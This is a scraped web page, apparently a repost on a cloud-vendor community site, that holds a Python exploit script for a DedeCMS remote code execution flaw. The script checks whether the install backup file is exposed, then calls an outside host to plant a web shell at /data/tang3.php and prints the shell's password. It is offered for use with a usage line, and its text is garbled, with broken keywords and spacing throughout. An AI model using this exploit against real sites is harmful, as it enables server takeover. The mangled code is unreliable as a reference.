Dedecms remote code execution using scripts

Source: Internet
Author: User

Dedecms remote code execution using scripts

#! /Usr/bin/env python # coding = UTF-8 # Joseph (continued) import requestsimport sysimport redef main (): try: url = "http: //" + sys. argv [1]. strip ('HTTP: // ') failed t IndexError: print ''' poc: dede. py http://www.baidu.com/ '''Payload = "/install/index. php. bak? Step = 11 & insLockfile = a & s_lang = a & install_demo_name = .. /data/admin/config_update.php "urlpoc = url + payload code = requests. get (urlpoc ). status_code if code = 200: print u "congratulations, this vulnerability exists." print u "Ongoing attacks --- >>>>" exploit (url) pass else: print u "sorry vulnerability struggling" passdef exploit (url): urlpoc = url + "/install/index. php. bak? Step = 11 & insLockfile = a & s_lang = a & install_demo_name = ../data/tang3.php & updateHost = http://www.mrjking.com/ "Htmlcontent = requests. get (urlpoc ). content Probe = re. compile (R' exist') if Probe. findall (htmlcontent): print u''' ver: getshell success shell: url +/data/tang3.php? A = 0 password: c '''pass else: print u "check whether the remote address is unavailable" passif _ name _ = '_ main _': main ()

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.